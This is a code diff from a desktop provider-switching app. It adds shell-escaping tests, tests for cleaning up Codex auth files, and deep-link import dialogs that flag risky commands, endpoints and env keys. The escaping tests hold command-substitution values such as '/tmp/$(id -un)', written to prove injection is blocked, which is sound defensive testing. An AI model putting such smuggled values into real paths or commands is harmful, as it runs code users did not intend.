// `projectDir`——一个名为 `$(...)` 的目录必须原样落到 `cd` 后面,
// 不能被 shell 求值。旧的双引号实现对这三种全部失守。
assert_eq!(shell_escape("/tmp/$(id -un)"), "'/tmp/$(id -un)'");
assert_eq!(shell_escape("/tmp/`id -un`"), "'/tmp/`id -un`'");
assert_eq!(shell_escape("/tmp/$HOME"), "'/tmp/$HOME'");
}
#[test]
fn shell_escape_handles_embedded_single_quote() {
// 单引号是单引号包裹法唯一表示不了的字符,靠「闭合-转义-重开」绕过。
assert_eq!(shell_escape("/tmp/it's"), r"'/tmp/it'\''s'");
}
#[test]
fn shell_escape_survives_the_osascript_layer() {
// Terminal / iTerm 的链路是两层:shell_escape 的结果先被塞进 AppleScript
// 字符串字面量,由 escape_osascript 再转义一次,AppleScript 求值后才交给
// shell。反斜杠会在中间那层被加倍,必须确认最终落到 shell 的字节没变形。
let escaped = shell_escape("/tmp/it's");
assert_eq!(escaped, r"'/tmp/it'\''s'");
let for_applescript = escape_osascript(&escaped);
assert_eq!(for_applescript, r"'/tmp/it'\\''s'");
// AppleScript 把 `\\` 求值回单个 `\`,于是 shell 拿到的正是 escaped 本身。
assert_eq!(for_applescript.replace(r"\\", r"\"), escaped);
}
#[test]
fn build_shell_command_quotes_the_cwd_it_prefixes() {
// Terminal / iTerm / kitty 三条路径都经这里;ghostty / wezterm / alacritty
// 走 `cwd = None` 并把目录当独立 argv 传,不受影响。
assert_eq!(
build_shell_command("claude --resume x", Some("/tmp/$(id -un)")),
"cd '/tmp/$(id -un)' && claude --resume x"
);
}
}
+1 -1
View File
@@ -1,7 +1,7 @@
{
"$schema": "https://schema.tauri.app/config/2",
"productName": "CC Switch",
"version": "3.18.0",
"version": "3.19.1",
"identifier": "com.ccswitch.desktop",
"build": {
"frontendDist": "../dist",
+162
View File
@@ -882,6 +882,168 @@ requires_openai_auth = true
);
}
#[test]
fn provider_service_switch_codex_official_clears_stale_third_party_auth() {
let _guard = test_mutex().lock().expect("acquire test mutex");
reset_test_fs();
// preservation stays OFF (default): switching to the third-party provider
// wrote its key into live auth.json, and that residue is what this test
// expects the official switch to clean up.
let _home = ensure_test_home();
let third_party_config = r#"model_provider = "aihubmix"
model = "gpt-5.4"
[model_providers.aihubmix]
name = "AiHubMix"
base_url = "https://aihubmix.example/v1"
wire_api = "responses"
requires_openai_auth = true
"#;
// Live key intentionally differs from the DB row so the assertion below
// proves the backfill preserved the live copy before it was deleted.
let live_auth = json!({ "OPENAI_API_KEY": "stale-live-key" });
write_codex_live_atomic(&live_auth, Some(third_party_config))
.expect("seed third-party live config");
let mut initial_config = MultiAppConfig::default();
{
let manager = initial_config
.get_manager_mut(&AppType::Codex)
.expect("codex manager");
manager.current = "third-party".to_string();
manager.providers.insert(
"third-party".to_string(),
Provider::with_id(
"third-party".to_string(),
"AiHubMix".to_string(),
json!({
"auth": {"OPENAI_API_KEY": "old-db-key"},
"config": third_party_config
}),
None,
),
);
let mut official_provider = Provider::with_id(
"official-provider".to_string(),
"OpenAI Official".to_string(),
json!({
"auth": {},
"config": ""
}),
None,
);
official_provider.category = Some("official".to_string());
manager
.providers
.insert("official-provider".to_string(), official_provider);
}
let state = create_test_state_with_config(&initial_config).expect("create test state");
ProviderService::switch(&state, AppType::Codex, "official-provider")
.expect("switch to official provider should succeed");
assert!(
!cc_switch_lib::get_codex_auth_path().exists(),
"switching to a material-less official provider must delete the stale \
third-party auth.json so Codex shows its login screen"
);
let providers = state
.db
.get_all_providers(AppType::Codex.as_str())
.expect("read providers after switch");
assert_eq!(
providers
.get("third-party")
.expect("third-party provider exists")
.settings_config
.pointer("/auth/OPENAI_API_KEY")
.and_then(|v| v.as_str()),
Some("stale-live-key"),
"the live key must be backfilled into the outgoing provider before deletion"
);
let live_config =
std::fs::read_to_string(cc_switch_lib::get_codex_config_path()).expect("read config.toml");
assert!(
!live_config.contains("experimental_bearer_token"),
"official provider has no API key to inject"
);
}
#[test]
fn provider_service_reswitch_current_official_keeps_live_auth() {
let _guard = test_mutex().lock().expect("acquire test mutex");
reset_test_fs();
let _home = ensure_test_home();
// Re-selecting the already-current provider performs no backfill, so the
// cleanup must not run either: without a fresh DB copy of whatever sits
// in live auth.json, deleting it would destroy the only copy.
let live_auth = json!({ "OPENAI_API_KEY": "residue-key" });
write_codex_live_atomic(&live_auth, Some("")).expect("seed live config");
let mut initial_config = MultiAppConfig::default();
{
let manager = initial_config
.get_manager_mut(&AppType::Codex)
.expect("codex manager");
manager.current = "official-provider".to_string();
let mut official_provider = Provider::with_id(
"official-provider".to_string(),
"OpenAI Official".to_string(),
json!({
"auth": {},
"config": ""
}),
None,
);
official_provider.category = Some("official".to_string());
manager
.providers
.insert("official-provider".to_string(), official_provider);
}
let state = create_test_state_with_config(&initial_config).expect("create test state");
ProviderService::switch(&state, AppType::Codex, "official-provider")
.expect("re-switch to current official provider should succeed");
let auth_value: serde_json::Value =
read_json_file(&cc_switch_lib::get_codex_auth_path()).expect("auth.json must survive");
assert_eq!(
auth_value.get("OPENAI_API_KEY").and_then(|v| v.as_str()),
Some("residue-key"),
"no backfill happened, so live auth.json must be left untouched"
);
}
#[test]
fn read_codex_live_settings_tolerates_missing_auth_when_config_file_exists() {
let _guard = test_mutex().lock().expect("acquire test mutex");
reset_test_fs();
let _home = ensure_test_home();
assert!(
cc_switch_lib::read_codex_live_settings().is_err(),
"both files missing is still 'no live install'"
);
// auth.json deleted + empty config.toml is the exact state the official
// switch cleanup leaves behind; it must stay readable or the next
// backfill / hot switch would treat Codex as uninstalled.
let config_path = cc_switch_lib::get_codex_config_path();
std::fs::create_dir_all(config_path.parent().expect("codex dir")).expect("create codex dir");
std::fs::write(&config_path, "").expect("write empty config.toml");
let live = cc_switch_lib::read_codex_live_settings()
.expect("config file present but empty must be readable");
assert_eq!(live.get("auth"), Some(&json!({})));
assert_eq!(live.get("config").and_then(|v| v.as_str()), Some(""));
}
#[test]
fn reapply_codex_official_live_resyncs_mcp_servers() {
let _guard = test_mutex().lock().expect("acquire test mutex");
+6 -12
View File
@@ -29,7 +29,7 @@ import {
import { getCurrentWindow } from "@tauri-apps/api/window";
import type { Provider, VisibleApps } from "@/types";
import type { EnvConflict } from "@/types/env";
import { useProvidersQuery, useSettingsQuery } from "@/lib/query";
import { proxyKeys, useProvidersQuery, useSettingsQuery } from "@/lib/query";
import {
providersApi,
settingsApi,
@@ -42,7 +42,6 @@ import { openclawKeys, useOpenClawHealth } from "@/hooks/useOpenClaw";
import { hermesKeys, useOpenHermesWebUI } from "@/hooks/useHermes";
import { hermesApi } from "@/lib/api/hermes";
import { useProxyStatus } from "@/hooks/useProxyStatus";
import { useAutoCompact } from "@/hooks/useAutoCompact";
import { useUsageCacheBridge } from "@/hooks/useUsageCacheBridge";
import { useTauriEvent } from "@/hooks/useTauriEvent";
import { useLastValidValue } from "@/hooks/useLastValidValue";
@@ -247,9 +246,6 @@ function App() {
const effectiveEditingProvider = useLastValidValue(editingProvider);
const effectiveUsageProvider = useLastValidValue(usageProvider);
const toolbarRef = useRef<HTMLDivElement>(null);
const isToolbarCompact = useAutoCompact(toolbarRef);
useUsageCacheBridge();
const promptPanelRef = useRef<any>(null);
@@ -393,8 +389,10 @@ function App() {
await queryClient.invalidateQueries({ queryKey: ["profiles"] });
await queryClient.invalidateQueries({ queryKey: ["mcp", "all"] });
await queryClient.invalidateQueries({ queryKey: ["skills"] });
await queryClient.invalidateQueries({ queryKey: ["proxyTakeoverStatus"] });
await queryClient.invalidateQueries({ queryKey: ["proxyStatus"] });
await queryClient.invalidateQueries({
queryKey: proxyKeys.takeoverStatus,
});
await queryClient.invalidateQueries({ queryKey: proxyKeys.status });
await queryClient.invalidateQueries({
queryKey: ["providers", "claude-desktop"],
});
@@ -1277,10 +1275,7 @@ function App() {
<ProfileSwitcher activeApp={activeApp} />
</div>
)}
<div
ref={toolbarRef}
className="flex flex-1 min-w-0 overflow-x-hidden items-center py-4 pr-2"
>
<div className="flex flex-1 min-w-0 overflow-x-hidden items-center py-4 pr-2">
<div
className="flex shrink-0 items-center gap-1.5 ml-auto"
style={{ WebkitAppRegion: "no-drag" } as any}
@@ -1399,7 +1394,6 @@ function App() {
activeApp={activeApp}
onSwitch={setActiveApp}
visibleApps={visibleApps}
compact={isToolbarCompact}
/>
<div className="flex items-center gap-1 p-1 bg-muted rounded-xl">
+2 -12
View File
@@ -15,7 +15,6 @@ interface AppSwitcherProps {
activeApp: AppId;
onSwitch: (app: AppId) => void;
visibleApps?: VisibleApps;
compact?: boolean;
}
const ALL_APPS: AppId[] = [
@@ -34,7 +33,6 @@ export function AppSwitcher({
activeApp,
onSwitch,
visibleApps,
compact,
}: AppSwitcherProps) {
const handleSwitch = (app: AppId) => {
if (app === activeApp) return;
@@ -80,6 +78,8 @@ export function AppSwitcher({
key={app}
type="button"
onClick={() => handleSwitch(app)}
title={appDisplayName[app]}
aria-label={appDisplayName[app]}
className={cn(
"group inline-flex items-center px-3 h-8 rounded-md text-sm font-medium transition-all duration-200",
isActive
@@ -115,16 +115,6 @@ export function AppSwitcher({
</span>
)}
</span>
<span
className={cn(
"transition-all duration-200 whitespace-nowrap overflow-hidden",
compact
? "max-w-0 opacity-0 ml-0"
: "max-w-[120px] opacity-100 ml-2",
)}
>
{appDisplayName[app]}
</span>
</button>
);
})}
-79
View File
@@ -1,79 +0,0 @@
import React from "react";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { cn } from "@/lib/utils";
import { useTranslation } from "react-i18next";
interface ColorPickerProps {
value?: string;
onValueChange: (color: string) => void;
label?: string;
presets?: string[];
}
const DEFAULT_PRESETS = [
"#00A67E",
"#D4915D",
"#4285F4",
"#FF6A00",
"#00A4FF",
"#FF9900",
"#0078D4",
"#FF0000",
"#1E88E5",
"#6366F1",
"#0F62FE",
"#2932E1",
];
export const ColorPicker: React.FC<ColorPickerProps> = ({
value = "#4285F4",
onValueChange,
label,
presets = DEFAULT_PRESETS,
}) => {
const { t } = useTranslation();
const displayLabel = label ?? t("providerIcon.color", "图标颜色");
return (
<div className="space-y-3">
<Label>{displayLabel}</Label>
{/* 颜色预设 */}
<div className="grid grid-cols-6 gap-2">
{presets.map((color) => (
<button
key={color}
type="button"
onClick={() => onValueChange(color)}
className={cn(
"w-full aspect-square rounded-lg border-2 transition-all",
"hover:scale-110 hover:shadow-lg",
value === color
? "border-primary ring-2 ring-primary/20"
: "border-border",
)}
style={{ backgroundColor: color }}
title={color}
/>
))}
</div>
{/* 自定义颜色输入 */}
<div className="flex items-center gap-2">
<Input
type="color"
value={value}
onChange={(e) => onValueChange(e.target.value)}
className="w-16 h-10 p-1 cursor-pointer"
/>
<Input
type="text"
value={value}
onChange={(e) => onValueChange(e.target.value)}
placeholder="#4285F4"
className="flex-1 font-mono"
/>
</div>
</div>
);
};
+124 -124
View File
@@ -1,6 +1,7 @@
import { useState, useEffect, useMemo } from "react";
import { listen } from "@tauri-apps/api/event";
import { DeepLinkImportRequest, deeplinkApi } from "@/lib/api/deeplink";
import { parseDeepLinkConfigPreview } from "@/utils/deepLinkConfigPreview";
import {
Dialog,
DialogContent,
@@ -17,6 +18,14 @@ import { PromptConfirmation } from "./deeplink/PromptConfirmation";
import { McpConfirmation } from "./deeplink/McpConfirmation";
import { SkillConfirmation } from "./deeplink/SkillConfirmation";
import { ProviderIcon } from "./ProviderIcon";
import {
classifyEndpoint,
classifyEnvKey,
decodeDeeplinkPayload,
maskValue,
riskI18nKey,
} from "@/utils/deeplinkRisk";
import { decodeBase64Utf8 } from "@/lib/utils/base64";
interface DeeplinkError {
url: string;
@@ -220,73 +229,33 @@ export function DeepLinkImportDialog() {
? "url"
: null;
// Parse config file content for display
interface ParsedConfig {
type: "claude" | "codex" | "gemini";
env?: Record<string, string>;
auth?: Record<string, string>;
tomlConfig?: string;
raw: Record<string, unknown>;
}
const parsedConfig = useMemo(
() => (request ? parseDeepLinkConfigPreview(request) : null),
[request],
);
// Helper to decode base64 with UTF-8 support
const b64ToUtf8 = (str: string): string => {
try {
const binString = atob(str);
const bytes = Uint8Array.from(binString, (m) => m.codePointAt(0) || 0);
return new TextDecoder().decode(bytes);
} catch (e) {
console.error("Failed to decode base64:", e);
return atob(str);
}
};
const parsedConfig = useMemo((): ParsedConfig | null => {
if (!request?.config) return null;
try {
const decoded = b64ToUtf8(request.config);
const parsed = JSON.parse(decoded) as Record<string, unknown>;
if (request.app === "claude") {
// Claude 格式: { env: { ANTHROPIC_AUTH_TOKEN: ..., ... } }
return {
type: "claude",
env: (parsed.env as Record<string, string>) || {},
raw: parsed,
};
} else if (request.app === "codex") {
// Codex 格式: { auth: { OPENAI_API_KEY: ... }, config: "TOML string" }
return {
type: "codex",
auth: (parsed.auth as Record<string, string>) || {},
tomlConfig: (parsed.config as string) || "",
raw: parsed,
};
} else if (request.app === "gemini") {
// Gemini 格式: 扁平结构 { GEMINI_API_KEY: ..., GEMINI_BASE_URL: ... }
return {
type: "gemini",
env: parsed as Record<string, string>,
raw: parsed,
};
}
return null;
} catch (e) {
console.error("Failed to parse config:", e);
return null;
}
}, [request?.config, request?.app]);
// Helper to mask sensitive values
const maskValue = (key: string, value: string): string => {
const sensitiveKeys = ["TOKEN", "KEY", "SECRET", "PASSWORD"];
const isSensitive = sensitiveKeys.some((k) =>
key.toUpperCase().includes(k),
/**
* env `maskValue`
*
* `break-all` `truncate`
*/
const EnvRow = ({ envKey, value }: { envKey: string; value: string }) => {
const risk = classifyEnvKey(envKey);
return (
<div className="grid grid-cols-2 gap-2 text-xs">
<span
className={`font-mono break-all ${
risk
? "text-yellow-700 dark:text-yellow-500 font-semibold"
: "text-muted-foreground"
}`}
>
{risk && <span aria-hidden="true"> </span>}
{envKey}
</span>
<span className="font-mono break-all">{maskValue(envKey, value)}</span>
</div>
);
if (isSensitive && value.length > 8) {
return `${value.substring(0, 8)}${"*".repeat(12)}`;
}
return value;
};
const getTitle = () => {
@@ -391,22 +360,37 @@ export function DeepLinkImportDialog() {
{t("deeplink.endpoint")}
</div>
<div className="col-span-2 text-sm break-all space-y-1">
{request.endpoint?.split(",").map((ep, idx) => (
<div
key={idx}
className={
idx === 0 ? "font-medium" : "text-muted-foreground"
}
>
{idx === 0 ? "🔹 " : "└ "}
{ep.trim()}
{idx === 0 && request.endpoint?.includes(",") && (
<span className="text-xs text-muted-foreground ml-2">
({t("deeplink.primaryEndpoint")})
</span>
)}
</div>
))}
{request.endpoint?.split(",").map((ep, idx) => {
const endpointRisk = classifyEndpoint(ep.trim());
return (
<div
key={idx}
className={
endpointRisk
? "text-yellow-700 dark:text-yellow-500 font-semibold"
: idx === 0
? "font-medium"
: "text-muted-foreground"
}
>
{idx === 0 ? "🔹 " : "└ "}
{endpointRisk && (
<span aria-hidden="true"> </span>
)}
{ep.trim()}
{idx === 0 && request.endpoint?.includes(",") && (
<span className="text-xs text-muted-foreground ml-2">
({t("deeplink.primaryEndpoint")})
</span>
)}
{endpointRisk && (
<div className="text-xs font-normal mt-0.5">
{t(riskI18nKey(endpointRisk))}
</div>
)}
</div>
);
})}
</div>
</div>
@@ -527,46 +511,38 @@ export function DeepLinkImportDialog() {
<div className="space-y-1.5">
{Object.entries(parsedConfig.env).map(
([key, value]) => (
<div
<EnvRow
key={key}
className="grid grid-cols-2 gap-2 text-xs"
>
<span className="font-mono text-muted-foreground truncate">
{key}
</span>
<span className="font-mono truncate">
{maskValue(key, String(value))}
</span>
</div>
envKey={key}
value={String(value)}
/>
),
)}
</div>
)}
{/* Codex config */}
{parsedConfig.type === "codex" && (
{(parsedConfig.type === "codex" ||
parsedConfig.type === "grokbuild") && (
<div className="space-y-2">
{parsedConfig.auth &&
{parsedConfig.type === "codex" &&
parsedConfig.auth &&
Object.keys(parsedConfig.auth).length > 0 && (
<div className="space-y-1.5">
<div className="text-xs text-muted-foreground">
Auth:
</div>
{Object.entries(parsedConfig.auth).map(
([key, value]) => (
<div
key={key}
className="grid grid-cols-2 gap-2 text-xs pl-2"
>
<span className="font-mono text-muted-foreground truncate">
{key}
</span>
<span className="font-mono truncate">
{maskValue(key, String(value))}
</span>
</div>
),
)}
<div className="pl-2 space-y-1.5">
{Object.entries(parsedConfig.auth).map(
([key, value]) => (
<EnvRow
key={key}
envKey={key}
value={String(value)}
/>
),
)}
</div>
</div>
)}
{parsedConfig.tomlConfig && (
@@ -574,10 +550,8 @@ export function DeepLinkImportDialog() {
<div className="text-xs text-muted-foreground">
TOML Config:
</div>
<pre className="text-xs font-mono bg-background p-2 rounded overflow-x-auto max-h-24 whitespace-pre-wrap">
{parsedConfig.tomlConfig.substring(0, 300)}
{parsedConfig.tomlConfig.length > 300 &&
"..."}
<pre className="text-xs font-mono bg-background p-2 rounded overflow-auto max-h-24 whitespace-pre-wrap break-all">
{parsedConfig.tomlConfig}
</pre>
</div>
)}
@@ -590,17 +564,11 @@ export function DeepLinkImportDialog() {
<div className="space-y-1.5">
{Object.entries(parsedConfig.env).map(
([key, value]) => (
<div
<EnvRow
key={key}
className="grid grid-cols-2 gap-2 text-xs"
>
<span className="font-mono text-muted-foreground truncate">
{key}
</span>
<span className="font-mono truncate">
{maskValue(key, String(value))}
</span>
</div>
envKey={key}
value={String(value)}
/>
),
)}
</div>
@@ -632,14 +600,19 @@ export function DeepLinkImportDialog() {
})}
</div>
<div className="col-span-2 text-sm">
{/*
`=== true` `usage_enabled.unwrap_or(false)`
`!== false` "链接没说"绿
*/}
<span
className={`inline-flex items-center px-2 py-0.5 rounded-md text-xs font-medium ${
request.usageEnabled !== false
request.usageEnabled === true
? "bg-green-100 dark:bg-green-900/30 text-green-700 dark:text-green-300"
: "bg-gray-100 dark:bg-gray-800 text-gray-600 dark:text-gray-400"
}`}
>
{request.usageEnabled !== false
{request.usageEnabled === true
? t("deeplink.usageScriptEnabled", {
defaultValue: "已启用",
})
@@ -650,6 +623,33 @@ export function DeepLinkImportDialog() {
</div>
</div>
{/*
JavaScript payload
`whitespace-pre-wrap break-all` +
truncate CSS
*/}
<div className="space-y-1">
<div className="font-medium text-sm text-muted-foreground">
{t("deeplink.usageScriptCode")}
</div>
<pre className="max-h-48 overflow-auto rounded border border-border-default bg-muted/40 p-2 text-xs font-mono whitespace-pre-wrap break-all">
{decodeDeeplinkPayload(
request.usageScript,
decodeBase64Utf8,
)}
</pre>
</div>
{/*
`usageEnabled`
*/}
<div className="text-yellow-600 dark:text-yellow-500 text-sm flex items-start gap-2">
<span aria-hidden="true"></span>
<span>{t("deeplink.usageScriptWarning")}</span>
</div>
{/* Usage API Key (if different from provider) */}
{request.usageApiKey &&
request.usageApiKey !== request.apiKey && (
+120 -13
View File
@@ -2,6 +2,14 @@ import { useMemo } from "react";
import { useTranslation } from "react-i18next";
import { DeepLinkImportRequest } from "../../lib/api/deeplink";
import { decodeBase64Utf8 } from "../../lib/utils/base64";
import {
classifyCommand,
classifyEndpoint,
classifyEnvKey,
maskValue,
riskI18nKey,
type RiskKind,
} from "@/utils/deeplinkRisk";
export function McpConfirmation({
request,
@@ -25,6 +33,47 @@ export function McpConfirmation({
const targetApps = request.apps?.split(",") || [];
const serverCount = Object.keys(mcpServers || {}).length;
// 汇总所有条目命中的风险,在底部给一句总的提示——逐行的 ⚠ 容易被划过去。
const risks = useMemo(() => {
const found = new Set<RiskKind>();
for (const spec of Object.values(mcpServers || {}) as any[]) {
const commandRisk = classifyCommand(spec?.command, spec?.args);
if (commandRisk) found.add(commandRisk);
if (typeof spec?.url === "string") {
const urlRisk = classifyEndpoint(spec.url);
if (urlRisk) found.add(urlRisk);
}
for (const key of Object.keys(spec?.env || {})) {
const envRisk = classifyEnvKey(key);
if (envRisk) found.add(envRisk);
}
}
return [...found];
}, [mcpServers]);
/** 一行 key/value。`break-all` 而非 `truncate`payload 不得被 CSS 藏起来。 */
const Row = ({
label,
value,
risk,
}: {
label: string;
value: string;
risk?: RiskKind | null;
}) => (
<div className="grid grid-cols-[4rem_1fr] gap-2 text-xs">
<span className="text-muted-foreground shrink-0">{label}</span>
<span
className={`font-mono break-all ${
risk ? "text-yellow-700 dark:text-yellow-500 font-semibold" : ""
}`}
>
{risk && <span aria-hidden="true"> </span>}
{value}
</span>
</div>
);
return (
<div className="space-y-4">
<h3 className="text-lg font-semibold">{t("deeplink.mcp.title")}</h3>
@@ -51,25 +100,83 @@ export function McpConfirmation({
</label>
<div className="mt-1 space-y-2 max-h-64 overflow-auto border rounded p-2 bg-muted/30">
{mcpServers &&
Object.entries(mcpServers).map(([id, spec]: [string, any]) => (
<div key={id} className="p-2 bg-background rounded border">
<div className="font-semibold text-sm">{id}</div>
<div className="text-xs text-muted-foreground mt-1 font-mono truncate">
{spec.command
? `Command: ${spec.command} `
: `URL: ${spec.url} `}
Object.entries(mcpServers).map(([id, spec]: [string, any]) => {
const commandRisk = classifyCommand(spec?.command, spec?.args);
const argv: string[] = Array.isArray(spec?.args)
? spec.args.map(String)
: [];
const env: Record<string, unknown> = spec?.env || {};
return (
<div key={id} className="p-2 bg-background rounded border">
<div className="font-semibold text-sm mb-1">{id}</div>
<div className="space-y-1">
{spec?.command && (
<Row
label={t("deeplink.mcp.command")}
value={String(spec.command)}
risk={commandRisk}
/>
)}
{/* join(" ")payload arg
truncate */}
{argv.map((arg, index) => (
<Row
key={index}
label={index === 0 ? t("deeplink.mcp.args") : ""}
value={arg}
risk={commandRisk}
/>
))}
{spec?.url && (
<Row
label={t("deeplink.mcp.url")}
value={String(spec.url)}
risk={classifyEndpoint(String(spec.url))}
/>
)}
{Object.entries(env).map(([key, value], index) => (
<Row
key={key}
label={index === 0 ? t("deeplink.mcp.env") : ""}
value={`${key}=${maskValue(key, String(value))}`}
risk={classifyEnvKey(key)}
/>
))}
</div>
</div>
</div>
))}
);
})}
</div>
</div>
{request.enabled && (
<div className="text-yellow-600 dark:text-yellow-500 text-sm flex items-center gap-2">
<span></span>
<span>{t("deeplink.mcp.enabledWarning")}</span>
{risks.length > 0 && (
<div className="rounded border border-yellow-500/40 bg-yellow-500/10 p-2 space-y-1">
{risks.map((kind) => (
<div
key={kind}
className="text-yellow-700 dark:text-yellow-500 text-sm flex items-start gap-2"
>
<span aria-hidden="true"></span>
<span>{t(riskI18nKey(kind))}</span>
</div>
))}
</div>
)}
{/*
`request.enabled`
MCP ****`deeplink/mcp.rs`
`:196` `merged.set_enabled_for(&app, true)`
prompt.rs / skill.rs / provider.rs `request.enabled` MCP
`enabled`
*/}
<div className="text-yellow-600 dark:text-yellow-500 text-sm flex items-center gap-2">
<span></span>
<span>{t("deeplink.mcp.enabledWarning")}</span>
</div>
</div>
);
}
-190
View File
@@ -1,190 +0,0 @@
import { SVGProps } from "react";
export function ITermIcon(props: SVGProps<SVGSVGElement>) {
return (
<svg
viewBox="0 0 24 24"
fill="currentColor"
xmlns="http://www.w3.org/2000/svg"
{...props}
>
<title>iTerm2</title>
<path d="M24 5.359v13.282A5.36 5.36 0 0 1 18.641 24H5.359A5.36 5.36 0 0 1 0 18.641V5.359A5.36 5.36 0 0 1 5.359 0h13.282A5.36 5.36 0 0 1 24 5.359m-.932-.233A4.196 4.196 0 0 0 18.874.932H5.126A4.196 4.196 0 0 0 .932 5.126v13.748a4.196 4.196 0 0 0 4.194 4.194h13.748a4.196 4.196 0 0 0 4.194-4.194zm-.816.233v13.282a3.613 3.613 0 0 1-3.611 3.611H5.359a3.613 3.613 0 0 1-3.611-3.611V5.359a3.613 3.613 0 0 1 3.611-3.611h13.282a3.613 3.613 0 0 1 3.611 3.611M8.854 4.194v6.495h.962V4.194zM5.483 9.493v1.085h.597V9.48q.283-.037.508-.133.373-.165.575-.448.208-.284.208-.649a.9.9 0 0 0-.171-.568 1.4 1.4 0 0 0-.426-.388 3 3 0 0 0-.544-.261 32 32 0 0 0-.545-.209 1.8 1.8 0 0 1-.426-.216q-.164-.12-.164-.284 0-.223.179-.351.18-.126.485-.127.344 0 .575.105.239.105.5.298l.433-.5a2.3 2.3 0 0 0-.605-.433 1.6 1.6 0 0 0-.582-.159v-.968h-.597v.978a2 2 0 0 0-.477.127 1.2 1.2 0 0 0-.545.411q-.194.268-.194.634 0 .335.164.56.164.224.418.38a4 4 0 0 0 .552.262q.291.104.545.209.261.104.425.238a.39.39 0 0 1 .165.321q0 .225-.187.359-.18.134-.537.134-.381 0-.717-.134a4.4 4.4 0 0 1-.649-.351l-.388.589q.209.173.477.306.276.135.575.217.191.046.373.064" />
</svg>
);
}
export function AlacrittyIcon(props: SVGProps<SVGSVGElement>) {
return (
<svg
viewBox="0 0 24 24"
fill="currentColor"
xmlns="http://www.w3.org/2000/svg"
{...props}
>
<title>Alacritty</title>
<path d="m10.065 0-8.57 21.269h3.595l6.91-16.244 6.91 16.244h3.594l-8.57-21.269zm1.935 9.935c-0.76666 1.8547-1.5334 3.7094-2.298 5.565 1.475 4.54 1.475 4.54 2.298 8.5 0.823-3.96 0.823-3.96 2.297-8.5-0.76637-1.8547-1.5315-3.7099-2.297-5.565z" />
</svg>
);
}
export function WezTermIcon(props: SVGProps<SVGSVGElement>) {
return (
<svg
viewBox="0 0 24 24"
fill="currentColor"
xmlns="http://www.w3.org/2000/svg"
{...props}
>
<title>WezTerm</title>
<path d="M3.27 8.524c0-.623.62-1.007 2.123-1.007l-.5 2.757c-.931-.623-1.624-1.199-1.624-1.75zm4.008 6.807c0 .647-.644 1.079-2.123 1.15l.524-2.924c.931.624 1.6 1.175 1.6 1.774zm-2.625 5.992.454-2.708c3.603-.336 5.01-1.798 5.01-3.404 0-1.653-2.004-2.948-3.841-4.074l.668-3.548c.764.072 1.67.216 2.744.432l.31-2.469c-.81-.12-1.575-.168-2.29-.216L8.257 2.7l-2.363-.024-.453 2.684C1.838 5.648.43 7.158.43 8.764c0 1.63 2.004 2.876 3.841 3.954l-.668 3.716c-.859-.048-1.908-.192-3.125-.408L0 18.495c1.026.12 1.98.192 2.84.216l-.525 2.588zm15.553-1.894h2.673c.334-2.804.81-8.46 1.121-14.86h-2.553c-.071 1.51-.334 10.498-.43 11.241h-.071c-.644-2.42-1.169-4.386-1.813-6.782h-1.456c-.62 2.396-1.05 4.194-1.694 6.782h-.096c-.071-.743-.477-9.73-.525-11.24h-2.648c.31 6.399.763 12.055 1.097 14.86h2.625l1.838-7.12z" />
</svg>
);
}
export function GhosttyIcon(props: SVGProps<SVGSVGElement>) {
return (
<svg
viewBox="0 0 24 24"
fill="currentColor"
xmlns="http://www.w3.org/2000/svg"
{...props}
>
<title>Ghostty</title>
<path d="M12 0C6.7 0 2.4 4.3 2.4 9.6v11.146c0 1.772 1.45 3.267 3.222 3.254a3.18 3.18 0 0 0 1.955-.686 1.96 1.96 0 0 1 2.444 0 3.18 3.18 0 0 0 1.976.686c.75 0 1.436-.257 1.98-.686.715-.563 1.71-.587 2.419-.018.59.476 1.355.743 2.182.699 1.705-.094 3.022-1.537 3.022-3.244V9.601C21.6 4.3 17.302 0 12 0M6.069 6.562a1 1 0 0 1 .46.131l3.578 2.065v.002a.974.974 0 0 1 0 1.687L6.53 12.512a.975.975 0 0 1-.976-1.687L7.67 9.602 5.553 8.38a.975.975 0 0 1 .515-1.818m7.438 2.063h4.7a.975.975 0 1 1 0 1.95h-4.7a.975.975 0 0 1 0-1.95" />
</svg>
);
}
export function KittyIcon(props: SVGProps<SVGSVGElement>) {
// Official icon is complex and has fixed width/height/viewBox in original.
// Simplifying viewBox to 0 0 256 256 effectively as original was 240x240 but translated.
// Original viewBox="0 0 240 240" with g transform="translate(0 -812.362)" and elements around y=850.
// 850 - 812 = 38. So it's confusing.
// Let's copy the raw SVG content but adapt it to be a component.
// To make it behave like an icon, we should probably set viewBox="0 0 240 240" and keep the transform.
// It relies on fill colors. If we want it to be monochrome (currentColor), we should remove fills or set them to currentColor.
// However, official icons often have brand colors. The user said "official icon", which implies color.
// But usually in a dropdown we might want monochrome or original color.
// simple-icons are usually monochrome.
// Let's keep Kitty as original color since it's complex, OR mono if it works?
// The kitty icon has multiple paths with different colors. I'll preserve them for now as it's "official".
// If it looks weird in dark mode/light mode, we might need to adjust.
return (
<svg
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 240 240"
{...props} // Allow overriding width/height
>
<g transform="translate(0 -812.362)">
<rect
width="100.446"
height="161.551"
x="72.824"
y="850.13"
ry="0"
style={{
fill: "#ddd",
fillOpacity: 1,
fillRule: "evenodd",
stroke: "none",
strokeWidth: 5.86876726,
strokeLinecap: "round",
strokeLinejoin: "round",
strokeMiterlimit: 4,
strokeDasharray: "none",
strokeOpacity: 1,
}}
/>
<path
d="M67.896 1029.71h104.208a7.065 7.065 0 0 0 7.065-7.066V918.436a7.065 7.065 0 0 0-7.065-7.065H67.896a7.065 7.065 0 0 0-7.065 7.065v104.208a7.065 7.065 0 0 0 7.065 7.065m55.813-38.35h37.444a4.239 4.239 0 0 1 0 8.479H123.71a4.239 4.239 0 0 1 0-8.478m-45.032-45.71a4.239 4.239 0 0 1 5.991-5.99l26.48 26.464a4.24 4.24 0 0 1 0 5.992l-26.48 26.48a4.239 4.239 0 0 1-5.991-5.992l23.484-23.484z"
style={{ strokeWidth: 1.41299629 }}
/>
<path
d="M96.085 898.143c1.881 0 3.386-3.574 3.386-8.17 0-4.595-1.505-8.169-3.386-8.169-1.88 0-3.385 3.574-3.385 8.17 0 4.595 1.504 8.17 3.385 8.17"
style={{
clipRule: "evenodd",
fill: "#c0c81f",
fillOpacity: 1,
fillRule: "evenodd",
strokeWidth: 3.09913683,
}}
/>
<path
